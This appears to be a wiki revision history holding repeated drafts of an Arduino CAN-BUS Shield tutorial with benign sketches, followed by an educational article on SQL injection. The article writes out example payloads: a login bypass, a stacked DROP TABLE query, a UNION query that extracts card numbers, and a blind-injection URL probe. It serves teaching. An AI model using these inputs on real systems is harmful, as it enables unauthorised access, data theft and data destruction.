SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

void loop() {
unsigned char len = 0;
unsigned char buf[8];

if (CAN_MSGAVAIL == CAN.checkReceive()) { // check if data coming
CAN.readMsgBuf(&len, buf); // read data, len: data length, buf: data buf

unsigned long canId = CAN.getCanId();

SERIAL.println("-----------------------------");
SERIAL.print("Get data from ID: 0x");
SERIAL.println(canId, HEX);

for (int i = 0; i < len; i++) { // print the data
SERIAL.print(buf[i], HEX);
SERIAL.print("\t");
}
SERIAL.println();
}
}
</syntaxhighlight>

==== Step 4 ====
When both Arduinos are flashed correctly the will start blinking. The sending nodes TX and RX LEDs will blink as CAN transceivers listen and write to the bus simultaneously. On the receiving node the RX and the INT LEDs will start to blink. Everytime a CAN message is received an interrupt is triggered to run the specified function which in this case is printing the raw data to SERIAL:

[[File:Nodes_talking.gif]]

[[File:Nodes_talking_console.JPG|1000 px]]

=== Used Hardware ===

[[Arduino UNO]]
[[CAN-BUS Shield V2.0]]
[[2 x Jumper wires]]
[[2 x USB 2.0 B to USB 2.0 A cables]]

== References ==

* https://wikipedia.org
* https://google.com
* https://ww1.microchip.com/downloads/en/DeviceDoc/MCP2515-Stand-Alone-CAN-Controller-with-SPI-20001801J.pdf
* https://www.bosch.com/de/stories/das-controller-area-network/
* https://wiki.seeedstudio.com/CAN-BUS_Shield_V2.0/

[[Category:Documentation]]

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-23T20:05:47Z

NStrasser:

(DRAFT)

== Summary ==

This documentation introduces the CAN-BUS Shield V2.0 and all its key facts. It also contains an example implementation, which is able to read and write CAN messages. In another step a real car communication is captured and presented.

== CAN-BUS Shield V2.0 ==

The CAN-BUS Shield V2.0 is an add-on shield which can be used with an Arduino Board. It comes with the MCP2515 CAN Bus Controller and the MCP2551 CAN transceiver. When used with an appropriate OBD 2.0 cable and library it can function as a diagnostic tool for a car.

[[File:InkedCAN-BUS_Shield_V2.0_desc_LI.jpg|500 px]]

# Terminal: CAN-H, CAN-L
# Led Indicator: PWR=power;TX=blink when the data is sending;RX=blink when there's data receiving;INT=data interrupt
# V_OBD: Indicates if the power comes from OBD
# DB9 Interface: to connect to OBD 2.0 via DB9-OBDII-cable
# Arduino Pinouts
# I2C Connector
# Serial Connector
# ICSP Pins

CAN is the abbrevation for Controller Area Network and is a common and reliable bus system. It is used in almost every car built after 1994. CAN was founded by BOSCH primarily to shrink cable harness within cars. This bus is robust because of its differential signal transmission which on other words mean the difference between CAN-H and CAN-L signal is used to determine the transfered bits. CAN uses a broadcast to transfer messages. Each message contains an identifier with which the priority is negotiated.

In order to complete the following steps, you should be familiar with the Arduino UNO and the Arduino IDE.

=== Description ===

In order to create a functioning CAN message reader we need to set up a lab, which consits of two CAN-BUS Shield V2.0 and two Arduino UNOs. The Arduinos will be used to simulate two ECUs, where one of them sends the data and the other is receives it. After this works as planned we will take a step further and integrate the CANtact Bundle cable. This will enable is to take the CAN-Node (Arduino and CAN-Shield) and plug it into the cars OBD 2.0 port in order to see what is going on on the car CAN-BUS.
[[File:CAN-BUS_Shield_V2.0.jpg|thumb|CAN-BUS Shield V2.0]]
[[File:Arduino_Uno.jpg|thumb|Arduino UNO]]
[[File:CANtext_Bundle.jpg|thumb|CANtact Bundle]]

----

==== Step 1 ====

Pigiback the CAN shields onto the Arduinos and connect both terminals. Bare in mind connecting CAN-H on the first board with CAN-H on the second board and CAN-L on the first board with CAN-L on the second board. This would look something like this:

[[File:Arduino_ECUs_connected.jpg|500 px]]

==== Step 2 ====
Download and install the Arduino IDE. Afterwards we need to install the CAN-Shield library which can be found here https://github.com/Seeed-Studio/Seeed_Arduino_CAN. Download this repository as zip file and import it to the Arduino IDE:
[[File:Add_lib.JPG|750px]]

==== Step 3 ====
Next we are going to need a sending node, which will send CAN messages at periodic intervalls and we will need an receiving node, which listens on the CAN Bus and creates an interrupt everytime a package is received.

The following code is based on the send example from the library and needs to be flashed on the first node.
<syntaxhighlight lang="c">
#include <SPI.h>
#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515
#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

unsigned char stmp[8] = {0, 0, 0, 0, 0, 0, 0, 0};
void loop() {
// send data: id = 0x00, standrad frame, data len = 8, stmp: data buf
stmp[7] = stmp[7] + 1;
if (stmp[7] == 100) {
stmp[7] = 0;
stmp[6] = stmp[6] + 1;

if (stmp[6] == 100) {
stmp[6] = 0;
stmp[5] = stmp[6] + 1;
}
}

CAN.sendMsgBuf(0x00, 0, 8, stmp);
delay(100); // send data per 100ms
SERIAL.println("CAN BUS sendMsgBuf ok!");
}
</syntaxhighlight>

Next we need the code for the receiving node.
<syntaxhighlight lang="c">
#include <SPI.h>

#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515

#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

void loop() {
unsigned char len = 0;
unsigned char buf[8];

if (CAN_MSGAVAIL == CAN.checkReceive()) { // check if data coming
CAN.readMsgBuf(&len, buf); // read data, len: data length, buf: data buf

unsigned long canId = CAN.getCanId();

SERIAL.println("-----------------------------");
SERIAL.print("Get data from ID: 0x");
SERIAL.println(canId, HEX);

for (int i = 0; i < len; i++) { // print the data
SERIAL.print(buf[i], HEX);
SERIAL.print("\t");
}
SERIAL.println();
}
}
</syntaxhighlight>

==== Step 4 ====
When both Arduinos are flashed correctly the will start blinking. The sending nodes TX and RX LEDs will blink as CAN transceivers listen and write to the bus simultaneously. On the receiving node the RX and the INT LEDs will start to blink. Everytime a CAN message is received an interrupt is triggered to run the specified function which in this case is printing the raw data to SERIAL:

[[File:Nodes_talking.gif]]

[[File:Nodes_talking_console.JPG|1000 px]]

=== Used Hardware ===

[[Arduino UNO]]
[[CAN-BUS Shield V2.0]]
[[2 x Jumper wires]]
[[2 x USB 2.0 B to USB 2.0 A cables]]

== References ==

* https://wikipedia.org
* https://google.com
* https://ww1.microchip.com/downloads/en/DeviceDoc/MCP2515-Stand-Alone-CAN-Controller-with-SPI-20001801J.pdf
* https://www.bosch.com/de/stories/das-controller-area-network/
* https://wiki.seeedstudio.com/CAN-BUS_Shield_V2.0/

[[Category:Documentation]]

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-23T19:53:05Z

NStrasser:

(DRAFT)

== Summary ==

This documentation introduces the CAN-BUS Shield V2.0 and all its key facts. It also contains an example implementation, which is able to read and write CAN messages. In another step a real car communication is captured and presented.

== CAN-BUS Shield V2.0 ==

The CAN-BUS Shield V2.0 is an add-on shield which can be used with an Arduino Board. It comes with the MCP2515 CAN Bus Controller and the MCP2551 CAN transceiver. When used with an appropriate OBD 2.0 cable and library it can function as a diagnostic tool for a car.

[[File:InkedCAN-BUS_Shield_V2.0_desc_LI.jpg|500 px]]

# Terminal: CAN-H, CAN-L
# Led Indicator: PWR=power;TX=blink when the data is sending;RX=blink when there's data receiving;INT=data interrupt
# V_OBD: Indicates if the power comes from OBD
# DB9 Interface: to connect to OBD 2.0 via DB9-OBDII-cable
# Arduino Pinouts
# I2C Connector
# Serial Connector
# ICSP Pins

CAN is the abbrevation for Controller Area Network and is a common and reliable bus system. It is used in almost every car since 1994. CAN was founded by BOSCH. Its main aim is to shrink cable harness.

In order to complete the following steps, you should be familiar with the Arduino UNO and the Arduino IDE.

=== Description ===

In order to create a functioning CAN message reader we need to set up a lab, which consits of two CAN-BUS Shield V2.0 and two Arduino UNOs. The Arduinos will be used to simulate two ECUs, where one of them sends the data and the other is receives it. After this works as planned we will take a step further and integrate the CANtact Bundle cable. This will enable is to take the CAN-Node (Arduino and CAN-Shield) and plug it into the cars OBD 2.0 port in order to see what is going on on the car CAN-BUS.
[[File:CAN-BUS_Shield_V2.0.jpg|thumb|CAN-BUS Shield V2.0]]
[[File:Arduino_Uno.jpg|thumb|Arduino UNO]]
[[File:CANtext_Bundle.jpg|thumb|CANtact Bundle]]

----

==== Step 1 ====

Pigiback the CAN shields onto the Arduinos and connect both terminals. Bare in mind connecting CAN-H on the first board with CAN-H on the second board and CAN-L on the first board with CAN-L on the second board. This would look something like this:

[[File:Arduino_ECUs_connected.jpg|500 px]]

==== Step 2 ====
Download and install the Arduino IDE. Afterwards we need to install the CAN-Shield library which can be found here https://github.com/Seeed-Studio/Seeed_Arduino_CAN. Download this repository as zip file and import it to the Arduino IDE:
[[File:Add_lib.JPG|750px]]

==== Step 3 ====
Next we are going to need a sending node, which will send CAN messages at periodic intervalls and we will need an receiving node, which listens on the CAN Bus and creates an interrupt everytime a package is received.

The following code is based on the send example from the library and needs to be flashed on the first node.
<syntaxhighlight lang="c">
#include <SPI.h>
#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515
#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

unsigned char stmp[8] = {0, 0, 0, 0, 0, 0, 0, 0};
void loop() {
// send data: id = 0x00, standrad frame, data len = 8, stmp: data buf
stmp[7] = stmp[7] + 1;
if (stmp[7] == 100) {
stmp[7] = 0;
stmp[6] = stmp[6] + 1;

if (stmp[6] == 100) {
stmp[6] = 0;
stmp[5] = stmp[6] + 1;
}
}

CAN.sendMsgBuf(0x00, 0, 8, stmp);
delay(100); // send data per 100ms
SERIAL.println("CAN BUS sendMsgBuf ok!");
}
</syntaxhighlight>

Next we need the code for the receiving node.
<syntaxhighlight lang="c">
#include <SPI.h>

#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515

#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

void loop() {
unsigned char len = 0;
unsigned char buf[8];

if (CAN_MSGAVAIL == CAN.checkReceive()) { // check if data coming
CAN.readMsgBuf(&len, buf); // read data, len: data length, buf: data buf

unsigned long canId = CAN.getCanId();

SERIAL.println("-----------------------------");
SERIAL.print("Get data from ID: 0x");
SERIAL.println(canId, HEX);

for (int i = 0; i < len; i++) { // print the data
SERIAL.print(buf[i], HEX);
SERIAL.print("\t");
}
SERIAL.println();
}
}
</syntaxhighlight>

==== Step 4 ====
Nodes are talking to each other:

[[File:Nodes_talking.gif]]

[[File:Nodes_talking_console.JPG|1000 px]]

=== Used Hardware ===

[[Device to be used with this documentation]]
[[Maybe another device to be used with this documentation]]

== Courses ==

* [[A course where this documentation was used]] (2017, 2018)
* [[Another one]] (2018)

== References ==

* https://wikipedia.org
* https://google.com
* https://ww1.microchip.com/downloads/en/DeviceDoc/MCP2515-Stand-Alone-CAN-Controller-with-SPI-20001801J.pdf
* https://www.bosch.com/de/stories/das-controller-area-network/

[[Category:Documentation]]

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-23T19:49:12Z

NStrasser:

File:Add lib.JPG

2021-02-23T19:35:55Z

NStrasser:

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-23T19:29:38Z

NStrasser:

File:Nodes talking console.JPG

2021-02-23T19:29:13Z

NStrasser:

File:Nodes talking.gif

2021-02-23T19:27:08Z

NStrasser:

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-21T10:07:27Z

NStrasser:

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-21T10:05:32Z

NStrasser:

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-21T09:46:28Z

NStrasser:

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-21T09:45:18Z

NStrasser:

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-21T09:44:37Z

NStrasser:

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-20T20:06:18Z

NStrasser:

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-20T19:49:14Z

NStrasser:

File:Arduino ECUs connected.jpg

2021-02-20T19:47:11Z

NStrasser:

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-20T19:37:48Z

NStrasser:

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-20T19:35:53Z

NStrasser:

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-20T19:35:33Z

NStrasser:

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-20T19:34:24Z

NStrasser:

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-20T19:33:19Z

NStrasser:

File:InkedCAN-BUS Shield V2.0 desc LI.jpg

2021-02-20T19:28:39Z

NStrasser:

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-20T19:05:42Z

NStrasser:

== Summary ==

This documentation introduces the CAN-BUS Shield V2.0 and all its key facts. It also contains a example implementation, which in its easiest form is able to read and write CAN messages. In another step a real car communication is captured.

== CAN-BUS Shield V2.0 ==

The CAN-BUS Shield V2.0 is a add-on shield for Arudion

== Implementation ==

=== Requirements ===

* Operating system: Ubuntu 18.04 bionic amd64
* Packages: git emacs

In order to complete these steps, you should have read this(https://wiki.elvis.science/index.php?title=Arduino_Board_Uno_Rev3-Atmega_328:_First_Steps) before.

=== Description ===

In order to create a functioning CAN message reader we need to set up a lab, which consits of two CAN-BUS Shield V2.0 and two Arduino UNOs. The Arduinos will be used to simulate two ECUs, where one of them sends the data and the other is receives it. After this works as planned we will take a step further and integrate the CANtext Bundle. This will enable is to take the reading Arduino-ECU and plug it into the cars OBD 2.0 port in order to see what is going on the car CAN-BUS.
[[File:CAN-BUS_Shield_V2.0.jpg|thumb|CAN-BUS Shield V2.0]]
[[File:Arduino_Uno.jpg|thumb|Arduino UNO]]
[[File:CANtext_Bundle.jpg|thumb|CANtext Bundle]]

----

==== Step 1 ====

Enter these commands in the shell

echo foo
echo bar

==== Step 2 ====

Make sure to read

* War and Peace
* Lord of the Rings
* The Baroque Cycle

=== Used Hardware ===

[[Device to be used with this documentation]]
[[Maybe another device to be used with this documentation]]

== Courses ===

* [[A course where this documentation was used]] (2017, 2018)
* [[Another one]] (2018)

== References ===

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-20T16:09:24Z

NStrasser:

== Summary ==

This documentation introduces the CAN-BUS Shield V2.0 and all its key facts. It also contains a example implementation, which is able to read CAN messages from a real car.

== CAN-BUS Shield V2.0 ==

The CAN-BUS Shield V2.0 is a add-on shield for Arudion

== Implementation ==

=== Requirements ===

* Operating system: Ubuntu 18.04 bionic amd64
* Packages: git emacs

In order to complete these steps, you should have read this(https://wiki.elvis.science/index.php?title=Arduino_Board_Uno_Rev3-Atmega_328:_First_Steps) before.

=== Description ===

In order to create a functioning CAN message reader we need to set up a lab, which consits of two CAN-BUS Shield V2.0 and two Arduino UNOs. The Arduinos will be used to simulate two ECUs, where one of them sends the data and the other is receives it. After this works as planned we will take a step further and integrate the CANtext Bundle. This will enable is to take the reading Arduino-ECU and plug it into the cars OBD 2.0 port in order to see what is going on the car CAN-BUS.
[[File:CAN-BUS_Shield_V2.0.jpg|thumb|CAN-BUS Shield V2.0]]
[[File:Arduino_Uno.jpg|thumb|Arduino UNO]]
[[File:CANtext_Bundle.jpg|thumb|CANtext Bundle]]

----

==== Step 1 ====

Enter these commands in the shell

echo foo
echo bar

==== Step 2 ====

Make sure to read

* War and Peace
* Lord of the Rings
* The Baroque Cycle

=== Used Hardware ===

[[Device to be used with this documentation]]
[[Maybe another device to be used with this documentation]]

== Courses ===

* [[A course where this documentation was used]] (2017, 2018)
* [[Another one]] (2018)

== References ===

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-20T16:06:56Z

NStrasser:

== Summary ==

This documentation introduces the CAN-BUS Shield V2.0 and all its key facts. It also contains a example implementation, which is able to read CAN messages from a real car.

== Requirements ==

== Implementation ==

=== Requirements ===

* Operating system: Ubuntu 18.04 bionic amd64
* Packages: git emacs

In order to complete these steps, you should have read this(https://wiki.elvis.science/index.php?title=Arduino_Board_Uno_Rev3-Atmega_328:_First_Steps) before.

=== Description ===

In order to create a functioning CAN message reader we need to set up a lab, which consits of two CAN-BUS Shield V2.0 and two Arduino UNOs. The Arduinos will be used to simulate two ECUs, where one of them sends the data and the other is receives it. After this works as planned we will take a step further and integrate the CANtext Bundle. This will enable is to take the reading Arduino-ECU and plug it into the cars OBD 2.0 port in order to see what is going on the car CAN-BUS.
[[File:CAN-BUS_Shield_V2.0.jpg|thumb|CAN-BUS Shield V2.0]]
[[File:Arduino_Uno.jpg|thumb|Arduino UNO]]
[[File:CANtext_Bundle.jpg|thumb|CANtext Bundle]]

----

==== Step 1 ====

Enter these commands in the shell

echo foo
echo bar

==== Step 2 ====

Make sure to read

* War and Peace
* Lord of the Rings
* The Baroque Cycle

=== Used Hardware ===

[[Device to be used with this documentation]]
[[Maybe another device to be used with this documentation]]

== Courses ===

* [[A course where this documentation was used]] (2017, 2018)
* [[Another one]] (2018)

== References ===

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-20T16:04:41Z

NStrasser:

== Summary ==

This documentation introduces the CAN-BUS Shield V2.0 and all its key facts. It also contains a example implementation, which is able to read CAN messages from a real car.

== Requirements ==

* Operating system: Ubuntu 18.04 bionic amd64
* Packages: git emacs

In order to complete these steps, you should have read this(https://wiki.elvis.science/index.php?title=Arduino_Board_Uno_Rev3-Atmega_328:_First_Steps) before.

== Description ==

In order to create a functioning CAN message reader we need to set up a lab, which consits of two CAN-BUS Shield V2.0 and two Arduino UNOs. The Arduinos will be used to simulate two ECUs, where one of them sends the data and the other is receives it. After this works as planned we will take a step further and integrate the CANtext Bundle. This will enable is to take the reading Arduino-ECU and plug it into the cars OBD 2.0 port in order to see what is going on the car CAN-BUS.
[[File:CAN-BUS_Shield_V2.0.jpg|thumb|CAN-BUS Shield V2.0]]
[[File:Arduino_Uno.jpg|thumb|Arduino UNO]]
[[File:CANtext_Bundle.jpg|thumb|CANtext Bundle]]

----

=== Step 1 ===

Enter these commands in the shell

echo foo
echo bar

=== Step 2 ===

Make sure to read

* War and Peace
* Lord of the Rings
* The Baroque Cycle

== Used Hardware ==

[[Device to be used with this documentation]]
[[Maybe another device to be used with this documentation]]

== Courses ==

* [[A course where this documentation was used]] (2017, 2018)
* [[Another one]] (2018)

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

File:Arduino Uno.jpg

2021-02-20T16:01:02Z

NStrasser:

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-20T16:00:47Z

NStrasser:

== Summary ==

This documentation introduces the CAN-BUS Shield V2.0 and all its key facts. It also contains a example implementation, which is able to read CAN messages from a real car.

== Requirements ==

* Operating system: Ubuntu 18.04 bionic amd64
* Packages: git emacs

In order to complete these steps, you should have read this(https://wiki.elvis.science/index.php?title=Arduino_Board_Uno_Rev3-Atmega_328:_First_Steps) before.

== Description ==

In order to create a functioning CAN message reader we need to set up the lab, which consits of two CAN-BUS Shield V2.0 and two Arduino UNOs. The Arduinos will be used to simulate an ECU. After this works as planned we will take a step further and integrate the CANtext Bundle.
[[File:CAN-BUS_Shield_V2.0.jpg|thumb|CAN-BUS Shield V2.0]]
[[File:CAN-BUS_Shield_V2.0.jpg|thumb|Arduino UNO]]
[[File:CANtext_Bundle.jpg|thumb|CANtext Bundle]]

----

=== Step 1 ===

Enter these commands in the shell

echo foo
echo bar

=== Step 2 ===

Make sure to read

* War and Peace
* Lord of the Rings
* The Baroque Cycle

== Used Hardware ==

[[Device to be used with this documentation]]
[[Maybe another device to be used with this documentation]]

== Courses ==

* [[A course where this documentation was used]] (2017, 2018)
* [[Another one]] (2018)

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

File:CAN-BUS Shield V2.0.jpg

2021-02-20T16:00:17Z

NStrasser:

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-20T16:00:04Z

NStrasser:

== Summary ==

This documentation introduces the CAN-BUS Shield V2.0 and all its key facts. It also contains a example implementation, which is able to read CAN messages from a real car.

== Requirements ==

* Operating system: Ubuntu 18.04 bionic amd64
* Packages: git emacs

In order to complete these steps, you should have read this(https://wiki.elvis.science/index.php?title=Arduino_Board_Uno_Rev3-Atmega_328:_First_Steps) before.

== Description ==

In order to create a functioning CAN message reader we need to set up the lab, which consits of two CAN-BUS Shield V2.0 and two Arduino UNOs. The Arduinos will be used to simulate an ECU. After this works as planned we will take a step further and integrate the CANtext Bundle.
[[File:example.jpg|thumb|caption]]
[[File:example.jpg|thumb|caption]]
[[File:CANtext_Bundle.jpg|thumb|CANtext Bundle]]

----

=== Step 1 ===

Enter these commands in the shell

echo foo
echo bar

=== Step 2 ===

Make sure to read

* War and Peace
* Lord of the Rings
* The Baroque Cycle

== Used Hardware ==

[[Device to be used with this documentation]]
[[Maybe another device to be used with this documentation]]

== Courses ==

* [[A course where this documentation was used]] (2017, 2018)
* [[Another one]] (2018)

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

File:CANtext Bundle.jpg

2021-02-20T15:59:09Z

NStrasser:

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-20T15:58:05Z

NStrasser: Created page with "== Summary == This documentation introduces the CAN-BUS Shield V2.0 and all its key facts. It also contains a example implementation, which is able to read CAN messages from..."

== Summary ==

This documentation introduces the CAN-BUS Shield V2.0 and all its key facts. It also contains a example implementation, which is able to read CAN messages from a real car.

== Requirements ==

* Operating system: Ubuntu 18.04 bionic amd64
* Packages: git emacs

In order to complete these steps, you should have read this(https://wiki.elvis.science/index.php?title=Arduino_Board_Uno_Rev3-Atmega_328:_First_Steps) before.

== Description ==

In order to create a functioning CAN message reader we need to set up the lab, which consits of two CAN-BUS Shield V2.0 and two Arduino UNOs. The Arduinos will be used to simulate an ECU. After this works as planned we will take a step further and integrate the CANtext Bundle.
[[File:example.jpg|thumb|caption]]
[[File:example.jpg|thumb|caption]]
[[File:example.jpg|thumb|caption]]

----

=== Step 1 ===

Enter these commands in the shell

echo foo
echo bar

=== Step 2 ===

Make sure to read

* War and Peace
* Lord of the Rings
* The Baroque Cycle

== Used Hardware ==

[[Device to be used with this documentation]]
[[Maybe another device to be used with this documentation]]

== Courses ==

* [[A course where this documentation was used]] (2017, 2018)
* [[Another one]] (2018)

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

SQL Injection

2021-01-21T09:40:33Z

NStrasser:

== SQL Injection ==

SQL Injection is a vulnerability, which can be found in applications, especially web applications. According to the List of OWASP Top 10 Web Application Security Risks Injections are still on top in 2020. SQL Injections - which are a specific type of Injections - are the most common way for attackers to either fetch sensitive data from databases or harm a system in its dependability or even causing non-availablity of the same. Such vulnerabilities become possible when input data is concatenated to SQL queries in conjuction with the absence of data sanitation.
== Functionality ==

This vulnerability can only arise when there is a lack of data sanitation. This implies the existence of data input interfaces, whether an input field or a HTTP header field. However when SQL is used in code at application layer it is often concatenated with input data from presentation layer. The combination of unsanitized input and SQL code concatenation with data input is very bad, because this leads to perfect SQL Injections. Input interfaces can be distinguished between:

# Userinput can be every field in the User Interface (UI) where a user can input data.
# Cookies can be altered, because they reside on client-side which enables the user to inject malicious code into it.
# HTTP Header are also a type of input which can contain malicious SQL code.

All these entities contain data which is created on the client-side and also can be altered on the same. This is why the first step when any of this data arrives on the server is sanitation and validation. The latter can be partly done already on client-side. Thus, defining HTML attributes, which force user to use specific type or validating with JS, which can be used to apply regular expressions (Regex) on inputs, is essential.

=== Direct attack method ===
When input data, therefore malicious SQL code, is directly concatenated to the SQL code in the application tier it is called Direct attack method. This way an authentication of a web-page can be bypassed.

=== Indirect attack method ===
In contrast to direct attack the indirect attack is when the SQL statement is terminated and arbitrary statements are attached to it. The end is then marked as a comment with using SQL specific commenting syntax, a double dash ''--''.

Either way the malicious code is executed at the time it is received by the database.

An attack could look like this:

=== Case 1 ===
In the business logic of the application, a query is used to retrieve the data of an user based on username and password. The username and password are filled in by the user via a web form. The input goes directly into the query.

SELECT * FROM Users WHERE name ='userName' and password='password';

Suppose the attacker gives admin as the username and ' or '1' = '1' as a password. That results in the following query that will be evaluated by the database:
SELECT * FROM Users WHERE name ='admin' and password='' or '1'='1';

The above SQL query is valid and returns all tuples from the Users relation. By adding the OR condition '1' = '1', the WHERE clause is always evaluated as true. The query then corresponds to:
SELECT * FROM Users;

=== Case 2 ===
Furthermore, several SQL statements can be executed simultaneously on many database servers by separating them with semicolons. The attacker can thus insert additional commands, for example, to delete a relation with a call.

The attacker enters the following in the password field:

' or '1'='1'; DROP TABLE Users; SELECT * FROM info WHERE '1' = '1

This results in the following queries:
SELECT * FROM Users WHERE name ='admin' and password=' 'or '1'='1'; DROP TABLE Users; SELECT * FROM info WHERE '1' = '1'

When the database server processes these two queries, it first returns all data records from the Users relation and then deletes or removes the entire Users table.

== Types of SQL queries ==

There are a number of SQL injection attacks that occur in different situations.
Depending on the target of the attacker, the techniques can be used separately as well as together.
These are for example:

=== Tautologies ===
The goal of the Tautologies attack is to find injectable parameters in the application to bypass authentication and initially extract data.
The basic idea here is to always set the where clause in the SQL statement to true so that the condition is ignored. The most common tautology is or 1 = 1. By concatenating the operator or and 1 = 1, another condition is set that is always true, so that the result of the entire condition is true. An example of this can be found in the previous chapter.

=== Union Query ===

In the case of a UNION query attack, the keyword 'UNION' is inserted in the input in order to retrieve data from other relations in the database. UNION enables the execution of several independent SQL queries in addition to the main instruction. The results of the further queries are appended to the results of the legitimate SQL query.

As a prerequisite, the attacker must have information about the database in order to extract data using UNION. These include e.g. Information about table names and their respective attributes, with which the further queries can be created and linked to the original statement. Furthermore, the individual queries must return the same number of columns and the data types of the attributes must be compatible between the individual queries.
The attacker can use the ORDER BY clause to derive the number of columns from the results. The clause is added to the statement and the column index is increased until an error message occurs. The columns in a relation can be specified in the ORDER BY clause by an index, so you do not need to know the column names.

Example of a UNION query attack:
SELECT accounts FROM Users WHERE username=''username'' and password=''password''

The attacker extends the legitimate instruction by entering the following in the password field:

' 'UNION SELECT cardNo FROM Credit Cards WHERE acctNo=123456 -- ',

This results in the following query:

SELECT accounts FROM users WHERE login=' ' UNION SELECT cardNo from CreditCards
where acctNo=123456

The first statement returns zero. However, the second query is performed and returns the card number from the account number 123456.

=== SQL Blind SQL Injection ===

Error messages provide the attacker with information on how he can continue his attack against the database. So it is usually a tool for attackers. With Blind SQl Injection, the attacker assumes that the error messages from the database are deactivated and still tries to executes the SQL injection.

It is assumed that a website retrieves its user data from the database using a UserId. The ID is transferred via the URL:
To check whether an SQL injection is possible, the following condition (and 1 = 2) is added.

http://newspaper.com/items.php?id=2 and 1=2

The actual SQL query that is executed is:

SELECT title, description, body FROM items WHERE ID = 2 and 1=2

